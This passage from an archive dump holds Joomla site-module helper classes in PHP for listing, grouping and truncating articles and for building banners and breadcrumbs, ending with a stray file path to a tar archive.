. '</a>' : ''; } else { $item->displayCategoryTitle = $show_category ? $item->category_title : ''; } $item->displayHits = $show_hits ? $item->hits : ''; $item->displayAuthorName = $show_author ? $item->author : ''; if ($show_introtext) { $item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_category.content'); $item->introtext = self::_cleanIntrotext($item->introtext); } $item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : ''; $item->displayReadmore = $item->alternative_readmore; } // Check if items need be grouped $article_grouping = $params->get('article_grouping', 'none'); $article_grouping_direction = $params->get('article_grouping_direction', 'ksort'); $grouped = $article_grouping !== 'none'; if ($items && $grouped) { switch ($article_grouping) { case 'year': case 'month_year': $items = ArticlesCategoryHelper::groupByDate( $items, $article_grouping_direction, $article_grouping, $params->get('month_year_format', 'F Y'), $params->get('date_grouping_field', 'created') ); break; case 'author': case 'category_title': $items = ArticlesCategoryHelper::groupBy($items, $article_grouping, $article_grouping_direction); break; case 'tags': $items = ArticlesCategoryHelper::groupByTags($items, $article_grouping_direction); break; } } return $items; } /** * Get a list of articles from a specific category * * @param Registry &$params object holding the models parameters * * @return array The array of users * * @since 1.6 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getArticles * Example: Factory::getApplication()->bootModule('mod_articles_category', 'site') * ->getHelper('ArticlesCategoryHelper') * ->getArticles($params, Factory::getApplication()) */ public static function getList(&$params) { /* @var SiteApplication $app */ $app = Factory::getApplication(); return (new self())->getArticles($params, $app); } /** * Strips unnecessary tags from the introtext * * @param string $introtext introtext to sanitize * * @return string * * @since 1.6 */ public static function _cleanIntrotext($introtext) { $introtext = str_replace(['<p>', '</p>'], ' ', $introtext); $introtext = strip_tags($introtext, '<a><em><strong><joomla-hidden-mail>'); return trim($introtext); } /** * Method to truncate introtext * * The goal is to get the proper length plain text string with as much of * the html intact as possible with all tags properly closed. * * @param string $html The content of the introtext to be truncated * @param int $maxLength The maximum number of characters to render * * @return string The truncated string * * @since 1.6 */ public static function truncate($html, $maxLength = 0) { $baseLength = \strlen($html); // First get the plain text string. This is the rendered text we want to end up with. $ptString = HTMLHelper::_('string.truncate', $html, $maxLength, true, false); for ($maxLength; $maxLength < $baseLength;) { // Now get the string if we allow html. $htmlString = HTMLHelper::_('string.truncate', $html, $maxLength, true, true); // Now get the plain text from the html string. $htmlStringToPtString = HTMLHelper::_('string.truncate', $htmlString, $maxLength, true, false); // If the new plain text string matches the original plain text string we are done. if ($ptString === $htmlStringToPtString) { return $htmlString; } // Get the number of html tag characters in the first $maxlength characters $diffLength = \strlen($ptString) - \strlen($htmlStringToPtString); // Set new $maxlength that adjusts for the html tags $maxLength += $diffLength; if ($baseLength <= $maxLength || $diffLength <= 0) { return $htmlString; } } return $ptString; } /** * Groups items by field * * @param array $list list of items * @param string $fieldName name of field that is used for grouping * @param string $direction ordering direction * @param null $fieldNameToKeep field name to keep * * @return array * * @since 1.6 */ public static function groupBy($list, $fieldName, $direction, $fieldNameToKeep = null) { $grouped = []; if (!\is_array($list)) { if ($list === '') { return $grouped; } $list = [$list]; } foreach ($list as $key => $item) { if (!isset($grouped[$item->$fieldName])) { $grouped[$item->$fieldName] = []; } if ($fieldNameToKeep === null) { $grouped[$item->$fieldName][$key] = $item; } else { $grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep; } unset($list[$key]); } $direction($grouped); return $grouped; } /** * Groups items by date * * @param array $list list of items * @param string $direction ordering direction * @param string $type type of grouping * @param string $monthYearFormat date format to use * @param string $field date field to group by * * @return array * * @since 1.6 */ public static function groupByDate($list, $direction = 'ksort', $type = 'year', $monthYearFormat = 'F Y', $field = 'created') { $grouped = []; if (!\is_array($list)) { if ($list === '') { return $grouped; } $list = [$list]; } foreach ($list as $key => $item) { switch ($type) { case 'month_year': $month_year = StringHelper::substr($item->$field, 0, 7); if (!isset($grouped[$month_year])) { $grouped[$month_year] = []; } $grouped[$month_year][$key] = $item; break; default: $year = StringHelper::substr($item->$field, 0, 4); if (!isset($grouped[$year])) { $grouped[$year] = []; } $grouped[$year][$key] = $item; break; } unset($list[$key]); } $direction($grouped); if ($type === 'month_year') { foreach ($grouped as $group => $items) { $date = new Date($group); $formatted_group = $date->format($monthYearFormat); $grouped[$formatted_group] = $items; unset($grouped[$group]); } } return $grouped; } /** * Groups items by tags * * @param array $list list of items * @param string $direction ordering direction * * @return array * * @since 3.9.0 */ public static function groupByTags($list, $direction = 'ksort') { $grouped = []; $untagged = []; if (!$list) { return $grouped; } foreach ($list as $item) { if ($item->tags->itemTags) { foreach ($item->tags->itemTags as $tag) { $grouped[$tag->title][] = $item; } } else { $untagged[] = $item; } } $direction($grouped); if ($untagged) { $grouped['MOD_ARTICLES_CATEGORY_UNTAGGED'] = $untagged; } return $grouped; } } Helper/ArticlesArchiveHelper.php000064400000010266151721412400012706 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_archive * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesArchive\Site\Helper; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Administrator\Extension\ContentComponent; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_archive * * @since 1.5 */ class ArticlesArchiveHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Retrieve a list of months with archived articles * * @param Registry $moduleParams The module parameters. * @param SiteApplication $app The current application. * * @return \stdClass[] * * @since 4.4.0 */ public function getArticlesByMonths(Registry $moduleParams, SiteApplication $app): array { $db = $this->getDatabase(); $query = $db->getQuery(true); $query->select($query->month($db->quoteName('created')) . ' AS created_month') ->select('MIN(' . $db->quoteName('created') . ') AS created') ->select($query->year($db->quoteName('created')) . ' AS created_year') ->from($db->quoteName('#__content', 'c')) ->where($db->quoteName('c.state') . ' = ' . ContentComponent::CONDITION_ARCHIVED) ->group($query->year($db->quoteName('c.created')) . ', ' . $query->month($db->quoteName('c.created'))) ->order($query->year($db->quoteName('c.created')) . ' DESC, ' . $query->month($db->quoteName('c.created')) . ' DESC'); // Filter by language if ($app->getLanguageFilter()) { $query->whereIn($db->quoteName('language'), [$app->getLanguage()->getTag(), '*'], ParameterType::STRING); } $query->setLimit((int) $moduleParams->get('count')); $db->setQuery($query); try { $rows = (array) $db->loadObjectList(); } catch (\RuntimeException $e) { $app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error'); return []; } $menu = $app->getMenu(); $item = $menu->getItems('link', 'index.php?option=com_content&view=archive', true); $itemid = (isset($item) && !empty($item->id)) ? '&Itemid=' . $item->id : ''; $i = 0; $lists = []; foreach ($rows as $row) { $date = Factory::getDate($row->created); $createdMonth = $date->format('n'); $createdYear = $date->format('Y'); $createdYearCal = HTMLHelper::_('date', $row->created, 'Y'); $monthNameCal = HTMLHelper::_('date', $row->created, 'F'); $lists[$i] = new \stdClass(); $lists[$i]->link = Route::_('index.php?option=com_content&view=archive&year=' . $createdYear . '&month=' . $createdMonth . $itemid); $lists[$i]->text = Text::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $monthNameCal, $createdYearCal); $i++; } return $lists; } /** * Retrieve list of archived articles * * @param Registry &$params module parameters * * @return \stdClass[] * * @since 1.5 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getArticlesByMonths * Example: Factory::getApplication()->bootModule('mod_articles_archive', 'site') * ->getHelper('ArticlesArchiveHelper') * ->getArticlesByMonths($params, Factory::getApplication()) */ public static function getList(&$params) { /** @var SiteApplication $app */ $app = Factory::getApplication(); return (new self())->getArticlesByMonths($params, $app); } } Helper/ArticlesLatestHelper.php000064400000012431151721412470012564 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_latest * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesLatest\Site\Helper; use Joomla\CMS\Access\Access; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Component\Content\Site\Model\ArticlesModel; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_latest * * @since 1.6 */ class ArticlesLatestHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Retrieve a list of article * * @param Registry $params The module parameters. * @param ArticlesModel $model The model. * * @return mixed * * @since 4.2.0 */ public function getArticles(Registry $params, SiteApplication $app) { // Get the Dbo and User object $db = $this->getDatabase(); $user = $app->getIdentity(); /** @var ArticlesModel $model */ $model = $app->bootComponent('com_content')->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]); // Set application parameters in model $model->setState('params', $app->getParams()); $model->setState('list.start', 0); $model->setState('filter.published', 1); // Set the filters based on the module params $model->setState('list.limit', (int) $params->get('count', 5)); // This module does not use tags data $model->setState('load_tags', false); // Access filter $access = !ComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = Access::getAuthorisedViewLevels($user->get('id')); $model->setState('filter.access', $access); // Category filter $model->setState('filter.category_id', $params->get('catid', [])); // State filter $model->setState('filter.condition', 1); // User filter $userId = $user->get('id'); switch ($params->get('user_id')) { case 'by_me': $model->setState('filter.author_id', (int) $userId); break; case 'not_me': $model->setState('filter.author_id', $userId); $model->setState('filter.author_id.include', false); break; case 'created_by': $model->setState('filter.author_id', $params->get('author', [])); break; case '0': break; default: $model->setState('filter.author_id', (int) $params->get('user_id')); break; } // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); // Featured switch $featured = $params->get('show_featured', ''); if ($featured === '') { $model->setState('filter.featured', 'show'); } elseif ($featured) { $model->setState('filter.featured', 'only'); } else { $model->setState('filter.featured', 'hide'); } // Set ordering $order_map = [ 'm_dsc' => 'a.modified DESC, a.created', 'mc_dsc' => 'a.modified', 'c_dsc' => 'a.created', 'p_dsc' => 'a.publish_up', 'random' => $db->getQuery(true)->rand(), ]; $ordering = ArrayHelper::getValue($order_map, $params->get('ordering', 'p_dsc'), 'a.publish_up'); $dir = 'DESC'; $model->setState('list.ordering', $ordering); $model->setState('list.direction', $dir); $items = $model->getItems(); foreach ($items as &$item) { $item->slug = $item->id . ':' . $item->alias; if ($access || \in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); } else { $item->link = Route::_('index.php?option=com_users&view=login'); } } return $items; } /** * Retrieve a list of articles * * @param Registry $params The module parameters. * @param ArticlesModel $model The model. * * @return mixed * * @since 1.6 * * @deprecated 4.3 will be removed in 6.0 * Use the non-static method getArticles * Example: Factory::getApplication()->bootModule('mod_articles_latest', 'site') * ->getHelper('ArticlesLatestHelper') * ->getArticles($params, Factory::getApplication()) */ public static function getList(Registry $params, ArticlesModel $model) { return (new self())->getArticles($params, Factory::getApplication()); } } Helper/ArticlesNewsHelper.php000064400000020226151721412650012245 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_news * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesNews\Site\Helper; use Joomla\CMS\Access\Access; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_news * * @since 1.6 */ class ArticlesNewsHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Get a list of the latest articles from the article model. * * @param Registry $params Object holding the models parameters * @param SiteApplication $app The app * * @return mixed * * @since 4.2.0 */ public function getArticles(Registry $params, SiteApplication $app) { /** @var \Joomla\Component\Content\Site\Model\ArticlesModel $model */ $model = $app->bootComponent('com_content')->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]); // Set application parameters in model $appParams = $app->getParams(); $model->setState('params', $appParams); $model->setState('list.start', 0); $model->setState('filter.published', 1); // Set the filters based on the module params $model->setState('list.limit', (int) $params->get('count', 5)); // This module does not use tags data $model->setState('load_tags', false); // Access filter $access = !ComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = Access::getAuthorisedViewLevels($app->getIdentity() ? $app->getIdentity()->id : 0); $model->setState('filter.access', $access); // Category filter $model->setState('filter.category_id', $params->get('catid', [])); // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); // Filter by tag $model->setState('filter.tag', $params->get('tag', [])); // Featured switch $featured = $params->get('show_featured', ''); if ($featured === '') { $model->setState('filter.featured', 'show'); } elseif ($featured) { $model->setState('filter.featured', 'only'); } else { $model->setState('filter.featured', 'hide'); } $input = $app->getInput(); // Filter by id in case it should be excluded if ( $params->get('exclude_current', true) && $input->get('option') === 'com_content' && $input->get('view') === 'article' ) { // Exclude the current article from displaying in this module $model->setState('filter.article_id', $input->get('id', 0, 'UINT')); $model->setState('filter.article_id.include', false); } // Set ordering $ordering = $params->get('ordering', 'a.publish_up'); $model->setState('list.ordering', $ordering); if (trim($ordering) === 'rand()') { $model->setState('list.ordering', $this->getDatabase()->getQuery(true)->rand()); } else { $direction = $params->get('direction', 1) ? 'DESC' : 'ASC'; $model->setState('list.direction', $direction); $model->setState('list.ordering', $ordering); } // Check if we should trigger additional plugin events $triggerEvents = $params->get('triggerevents', 1); // Retrieve Content $items = $model->getItems(); foreach ($items as &$item) { $item->readmore = \strlen(trim($item->fulltext)); $item->slug = $item->id . ':' . $item->alias; if ($access || \in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); $item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE'); } else { $item->link = new Uri(Route::_('index.php?option=com_users&view=login', false)); $item->link->setVar('return', base64_encode(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language))); $item->linkText = Text::_('MOD_ARTICLES_NEWS_READMORE_REGISTER'); } $item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_news.content'); // Remove any images belongs to the text if (!$params->get('image')) { $item->introtext = preg_replace('/<img[^>]*>/', '', $item->introtext); } // Show the Intro/Full image field of the article if ($params->get('img_intro_full') !== 'none') { $images = json_decode($item->images); $item->imageSrc = ''; $item->imageAlt = ''; $item->imageCaption = ''; if ($params->get('img_intro_full') === 'intro' && !empty($images->image_intro)) { $item->imageSrc = htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8'); $item->imageAlt = htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8'); if ($images->image_intro_caption) { $item->imageCaption = htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8'); } } elseif ($params->get('img_intro_full') === 'full' && !empty($images->image_fulltext)) { $item->imageSrc = htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8'); $item->imageAlt = htmlspecialchars($images->image_fulltext_alt, ENT_COMPAT, 'UTF-8'); if ($images->image_intro_caption) { $item->imageCaption = htmlspecialchars($images->image_fulltext_caption, ENT_COMPAT, 'UTF-8'); } } } if ($triggerEvents) { $item->text = ''; $app->triggerEvent('onContentPrepare', ['com_content.article', &$item, &$params, 0]); $results = $app->triggerEvent('onContentAfterTitle', ['com_content.article', &$item, &$params, 0]); $item->afterDisplayTitle = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentBeforeDisplay', ['com_content.article', &$item, &$params, 0]); $item->beforeDisplayContent = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentAfterDisplay', ['com_content.article', &$item, &$params, 0]); $item->afterDisplayContent = trim(implode("\n", $results)); } else { $item->afterDisplayTitle = ''; $item->beforeDisplayContent = ''; $item->afterDisplayContent = ''; } } return $items; } /** * Get a list of the latest articles from the article model * * @param \Joomla\Registry\Registry &$params object holding the models parameters * * @return mixed * * @since 1.6 * * @deprecated 4.3 will be removed in 6.0 * Use the non-static method getArticles * Example: Factory::getApplication()->bootModule('mod_articles_news', 'site') * ->getHelper('ArticlesNewsHelper') * ->getArticles($params, Factory::getApplication()) */ public static function getList(&$params) { return (new self())->getArticles($params, Factory::getApplication()); } } Helper/ArticlesPopularHelper.php000064400000014431151721413000012742 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_popular * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesPopular\Site\Helper; use Joomla\CMS\Access\Access; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Cache\Controller\OutputController; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Administrator\Extension\ContentComponent; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Component\Content\Site\Model\ArticlesModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_popular * * @since 4.3.0 */ class ArticlesPopularHelper { /** * The module instance * * @var \stdClass * * @since 4.3.0 */ protected $module; /** * Constructor. * * @param array $config An optional associative array of configuration settings. * * @since 4.3.0 */ public function __construct($config = []) { $this->module = $config['module']; } /** * Retrieve a list of months with archived articles * * @param Registry $params The module parameters. * @param SiteApplication $app The current application. * * @return object[] * * @since 4.3.0 */ public function getArticles(Registry $moduleParams, SiteApplication $app) { $cacheKey = md5(serialize([$moduleParams->toString(), $this->module->module, $this->module->id])); /** @var OutputController $cache */ $cache = Factory::getContainer()->get(CacheControllerFactoryInterface::class) ->createCacheController('output', ['defaultgroup' => 'mod_articles_popular']); if (!$cache->contains($cacheKey)) { $mvcContentFactory = $app->bootComponent('com_content')->getMVCFactory(); /** @var ArticlesModel $articlesModel */ $articlesModel = $mvcContentFactory->createModel('Articles', 'Site', ['ignore_request' => true]); // Set application parameters in model $appParams = $app->getParams(); $articlesModel->setState('params', $appParams); $articlesModel->setState('list.start', 0); $articlesModel->setState('filter.published', ContentComponent::CONDITION_PUBLISHED); // Set the filters based on the module params $articlesModel->setState('list.limit', (int) $moduleParams->get('count', 5)); $articlesModel->setState('filter.featured', $moduleParams->get('show_front', 1) == 1 ? 'show' : 'hide'); // This module does not use tags data $articlesModel->setState('load_tags', false); // Access filter $access = !ComponentHelper::getParams('com_content')->get('show_noauth'); $articlesModel->setState('filter.access', $access); // Category filter $articlesModel->setState('filter.category_id', $moduleParams->get('catid', [])); // Date filter $date_filtering = $moduleParams->get('date_filtering', 'off'); if ($date_filtering !== 'off') { $articlesModel->setState('filter.date_filtering', $date_filtering); $articlesModel->setState('filter.date_field', $moduleParams->get('date_field', 'a.created')); $articlesModel->setState('filter.start_date_range', $moduleParams->get('start_date_range', '1000-01-01 00:00:00')); $articlesModel->setState('filter.end_date_range', $moduleParams->get('end_date_range', '9999-12-31 23:59:59')); $articlesModel->setState('filter.relative_date', $moduleParams->get('relative_date', 30)); } // Filter by language $articlesModel->setState('filter.language', $app->getLanguageFilter()); // Ordering $articlesModel->setState('list.ordering', 'a.hits'); $articlesModel->setState('list.direction', 'DESC'); // Prepare the module output $items = []; $itemParams = new \stdClass(); $itemParams->authorised = Access::getAuthorisedViewLevels($app->getIdentity()->get('id')); $itemParams->access = $access; foreach ($articlesModel->getItems() as $item) { $items[] = $this->prepareItem($item, $itemParams); } // Cache the output and return $cache->store($items, $cacheKey); return $items; } // Return the cached output return $cache->get($cacheKey); } /** * Prepare the article before render. * * @param object $item The article to prepare * @param \stdClass $params The model item * * @return object * * @since 4.3.0 */ private function prepareItem($item, $params): object { $item->slug = $item->id . ':' . $item->alias; if ($params->access || \in_array($item->access, $params->authorised)) { // We know that user has the privilege to view the article $item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); } else { $item->link = Route::_('index.php?option=com_users&view=login'); } return $item; } /** * Get a list of popular articles from the articles model * * @param \Joomla\Registry\Registry &$params object holding the models parameters * * @return mixed * * @since 4.3.0 * * @deprecated 4.3 will be removed in 6.0 * Use the non-static method getArticles * Example: Factory::getApplication()->bootModule('mod_articles_popular', 'site') * ->getHelper('ArticlesPopularHelper') * ->getArticles($params, Factory::getApplication()) */ public static function getList(&$params) { return (new self())->getArticles($params, Factory::getApplication()); } } Helper/BannersHelper.php000064400000003654151721413070011235 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_banners * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\Banners\Site\Helper; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Environment\Browser; use Joomla\Component\Banners\Site\Model\BannersModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_banners * * @since 1.5 */ class BannersHelper { /** * Retrieve list of banners * * @param Registry $params The module parameters * @param BannersModel $model The model * @param CMSApplication $app The application * * @return mixed */ public static function getList(Registry $params, BannersModel $model, CMSApplication $app) { $keywords = explode(',', $app->getDocument()->getMetaData('keywords')); $config = ComponentHelper::getParams('com_banners'); $model->setState('filter.client_id', (int) $params->get('cid')); $model->setState('filter.category_id', $params->get('catid', [])); $model->setState('list.limit', (int) $params->get('count', 1)); $model->setState('list.start', 0); $model->setState('filter.ordering', $params->get('ordering')); $model->setState('filter.tag_search', $params->get('tag_search')); $model->setState('filter.keywords', $keywords); $model->setState('filter.language', $app->getLanguageFilter()); $banners = $model->getItems(); if ($banners) { if ($config->get('track_robots_impressions', 1) == 1 || !Browser::getInstance()->isRobot()) { $model->impress(); } } return $banners; } } Helper/BreadcrumbsHelper.php000064400000011744151721413160012075 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_breadcrumbs * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\Breadcrumbs\Site\Helper; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_breadcrumbs * * @since 1.5 */ class BreadcrumbsHelper { /** * Retrieve breadcrumb items * * @param Registry $params The module parameters * @param SiteApplication $app The application * * @return array * * @since 4.4.0 */ public function getBreadcrumbs(Registry $params, SiteApplication $app): array { // Get the PathWay object from the application $pathway = $app->getPathway(); $items = $pathway->getPathway(); $count = \count($items); // Don't use $items here as it references JPathway properties directly $crumbs = []; for ($i = 0; $i < $count; $i++) { $crumbs[$i] = new \stdClass(); $crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8')); $crumbs[$i]->link = $items[$i]->link; } if ($params->get('showHome', 1)) { array_unshift($crumbs, $this->getHomeItem($params, $app)); } return $crumbs; } /** * Retrieve home item (start page) * * @param Registry $params The module parameters * @param SiteApplication $app The application * * @return object * * @since 4.4.0 */ public function getHomeItem(Registry $params, SiteApplication $app): object { $menu = $app->getMenu(); if (Multilanguage::isEnabled()) { $home = $menu->getDefault($app->getLanguage()->getTag()); } else { $home = $menu->getDefault(); } $item = new \stdClass(); $item->name = htmlspecialchars($params->get('homeText', $app->getLanguage()->_('MOD_BREADCRUMBS_HOME')), ENT_COMPAT, 'UTF-8'); $item->link = 'index.php?Itemid=' . $home->id; return $item; } /** * Set the breadcrumbs separator for the breadcrumbs display. * * @param string $custom Custom xhtml compliant string to separate the items of the breadcrumbs * * @return string Separator string * * @since 1.5 * * @deprecated 4.4.0 will be removed in 6.0 as this function is not used anymore */ public static function setSeparator($custom = null) { $lang = Factory::getApplication()->getLanguage(); // If a custom separator has not been provided we try to load a template // specific one first, and if that is not present we load the default separator if ($custom === null) { if ($lang->isRtl()) { $_separator = HTMLHelper::_('image', 'system/arrow_rtl.png', null, null, true); } else { $_separator = HTMLHelper::_('image', 'system/arrow.png', null, null, true); } } else { $_separator = htmlspecialchars($custom, ENT_COMPAT, 'UTF-8'); } return $_separator; } /** * Retrieve breadcrumb items * * @param Registry $params The module parameters * @param CMSApplication $app The application * * @return array * * @since 1.5 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getBreadcrumbs * Example: Factory::getApplication()->bootModule('mod_breadcrumbs', 'site') * ->getHelper('BreadcrumbsHelper') * ->getBreadcrumbs($params, Factory::getApplication()) */ public static function getList(Registry $params, CMSApplication $app) { return (new self())->getBreadcrumbs($params, Factory::getApplication()); } /** * Retrieve home item (start page) * * @param Registry $params The module parameters * @param CMSApplication $app The application * * @return object * * @since 4.2.0 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getHomeItem * Example: Factory::getApplication()->bootModule('mod_breadcrumbs', 'site') * ->getHelper('BreadcrumbsHelper') * ->getHomeItem($params, Factory::getApplication()) */ public static function getHome(Registry $params, CMSApplication $app) { return (new self())->getHomeItem($params, Factory::getApplication()); } }
/home/opticamezl/www/newok/tmp/../cli/./../cache/../components/../tmp/../libraries/../src.tar